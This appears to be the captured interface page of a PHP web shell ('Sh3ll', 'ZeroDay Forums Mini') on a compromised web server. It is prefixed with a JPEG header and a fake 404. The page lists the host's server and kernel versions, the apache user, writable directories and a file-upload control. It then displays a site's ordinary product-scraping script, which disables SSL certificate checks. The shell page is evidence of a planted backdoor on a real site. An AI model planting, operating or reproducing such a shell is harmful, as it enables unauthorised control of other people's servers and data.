ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/getsp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/getsp/getsp.php
<?php
function curl_func($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
x-client-data: CJW2yQEIpbbJAQjBtskBCKmdygEYu7rKARiavsoB');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    //curl_setopt($ch, CURLOPT_REFERER, 'http://www.phimmoi.net');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    //curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
require 'simple_html_dom.php';
//$url = 'https://chefsgroup.vn/collections/all?q=&page=1&view=grid';
set_time_limit(0);
if(isset($_POST['submitbt'])) {
    //$body = $_POST['body'];
    $url = trim($_POST['body']);

    $parse = parse_url($url);
    $domain = 'https://' . $parse['host'];
    $content = curl_func($url);

    $html = str_get_html($content);

    $show = '<table border="1" cellpadding="2" cellspacing="2"><tr>
<td>Url</td>
<td>Tên</td>
<td style="height: 50px; overflow: hidden;">Mô tả</td>
<td>Trích dẫn</td>
<td>Hãng</td>
<td>Loại sản phẩm</td>
<td>Tag</td>
<td>Hiển thị</td>
<td>Thuộc tính 1</td>
<td>Giá trị thuộc tính 1</td>
<td>Thuộc tính 2</td>
<td>Giá trị thuộc tính 2</td>
<td>Thuộc tính 3</td>
<td>Giá trị thuộc tính 3</td>
<td>Mã phiên bản sản phẩm</td>
<td>Khối lượng</td>
<td>Quản lý tồn kho</td>
<td>Số lượng tồn kho</td>
<td>Äặt hàng khi hết hàng</td>
<td>Variant Fulfillment Service</td>
<td>Giá</td>
<td>Giá so sánh</td>
<td>Có giao hàng không?</td>
<td>Variant Taxable</td>
<td>Barcode</td>
<td>Link hình</td>
<td>Mô tả hình</td>
<td>Gift Card</td>
<td>SEO Title</td>
<td>SEO Description</td>
<td>Google Shopping / Google Product Category</td>
<td>Google Shopping / Gender</td>  
<td>Google Shopping / MPN</td>	
<td>Google Shopping / AdWords Grouping</td>
<td>Google Shopping / AdWords Labels	</td>
<td>Google Shopping / Condition	</td>
<td>Google Shopping / Custom Product	</td>
<td>Danh mục	</td>
<td>Danh mục EN</td> 
<td>Ảnh biến thể	</td>
<td>Ngày tạo	</td>
<td>Ngày cập nhật	</td>
<td>Hiển thị kênh bán hàng Lazada	</td>
<td>Hiển thị kênh bán hàng Zalo	</td>
<td>Hiển thị kênh bán hàng Zalora	</td>
<td>Hiển thị kênh bán hàng Sendo	</td>
<td>Hiển thị kênh bán hàng Adayroi	</td>
<td>Hiển thị kênh bán hàng FacebookShop	</td>
<td>Hiển thị kênh bán hàng Tiki</td>	
<td>Hiển thị kênh bán hàng Google	</td>
<td>Hiển thị kênh bán hàng Shopee	</td>
<td>Không áp dụng khuyến mãi</td>
    </tr>';
    foreach ($html->find('section.products-view div.col-item') as $val) {
        $arr['title'] = $val->find('h3.product-name a', 0)->plaintext;
        $url2 = $domain . '' . $val->find('h3.product-name a', 0)->href;
        $content2 = curl_func($url2);
        $arr = explode('var productJson =', $content2);
        $arr2 = explode('};', $arr[1]);
        $a = json_decode($arr2[0] . '}', true);

        $html2 = str_get_html($content2);
        $show .= '<tr>';
        $show .= '<td>' . basename($url2) . '</td>';
        $show .= '<td>' . $a['name'] . '</td>';
        $show .= '<td>' . $a['content'] . '</td>';
        $show .= '<td>' . $url2 . '</td>';
        $show .= '<td>' . $a['vendor'] . '</td>';
        $show .= '<td>' . $a['type'] . '</td>';
        $show .= '<td>' . $a['tags'][0] . '</td>';
        $show .= '<td>Yes</td>';
        $show .= '<td>Title</td>';
        $show .= '<td>Default Title</td>';
        $show .= '<td>Title</td>';
        $show .= '<td>Default Title</td>';
        $show .= '<td>Title</td>';
        $show .= '<td>Default Title</td>';
        $show .= '<td></td>';
        $show .= '<td>0</td>';
        $show .= '<td>haravan</td>';
        $show .= '<td>99</td>';
        $show .= '<td>deny</td>';
        $show .= '<td>deny</td>';
        $show .= '<td>' . $a['price'] . '</td>';
        $show .= '<td>' . $a['compare_at_price_max'] . '</td>';
        $show .= '<td>Yes</td>';
        $show .= '<td>Yes</td>';
        $show .= '<td></td>';
        $show .= '<td>' . $a['featured_image']['src'] . '</td>';
        $show .= '<td>' . $a['name'] . '</td>';
        $show .= '<td>No</td>';
        $show .= '<td>' . $a['name'] . '</td>';
        $show .= '<td>' . $a['meta_description'] . '</td>';
        $show .= '<td></td>';
        $show .= '<td></td>';
        $show .= '<td></td>';
        $show .= '<td></td>';
        $show .= '<td></td>';
        $show .= '<td></td>';
        $show .= '<td></td>';
        $show .= '<td></td>';
        $show .= '<td></td>';
        $show .= '<td></td>';
        $show .= '<td></td>';

        $show .= '<td>' . $a['created_on'] . '</td>';
        $show .= '<td>' . $a['published_on'] . '</td>';
        $show .= '<td>No</td>';
        $show .= '<td>No</td>';
        $show .= '<td>No</td>';
        $show .= '<td>No</td>';
        $show .= '<td>No</td>';
        $show .= '<td>No</td>';
        $show .= '<td>No</td>';
        $show .= '<td>No</td>';
        $show .= '<td>No</td>';


        $show .= '</tr>';
    }
    $show .= '</table>';
    require('HtmlExcel.php');
    $name = 'excel.xls';

    $xls = new HtmlExcel();
//$xls->setCss($css);
    $xls->addSheet('Sheet1', $show);
    $xls->headers($name);
    echo $xls->buildFile();
    exit();
    echo $show;
    exit();
    print_r($list);
    exit();
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Doom document</title>
    <script type="text/javascript" src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.1.min.js"></script>
</head>
<body>
<div class="boxnhac6">
    <span style="color:#FFFFFF"> <h2> Phim19.Com</h2></span>
    <span>Những ô có dấu <span>*</span> là yêu cầu nhập</span>                             </div>

<div class="boxnhac6">
    <form action="getsp.php" method="post" id="create" name="create">
        <table width="100%" border="0" cellspacing="4" cellpadding="4">

            <tr>
                <td width="20%"><span class="WhiteText">body :</span></td>
                <td align="left" width="80%">
                    <textarea style="width: 500px; height: 100px;" name="body"></textarea>
                </td>
            </tr>
            <tr>
                <td>&nbsp;</td>
                <td align="center" id="txt_error" style="color:#FF0000;">

                </td>
            </tr>
            <tr>
                <td>&nbsp;</td>
                <td align="right">

                    <input type="hidden" name="submitbt" id="submitbt"  value="1" />
                    <input type="submit" name="submit2" id="submit2"  value="Cập nhật" class="button" />
                </td>
            </tr>
        </table>
    </form>
</div>
</body>
</html>



ZeroDay Forums Mini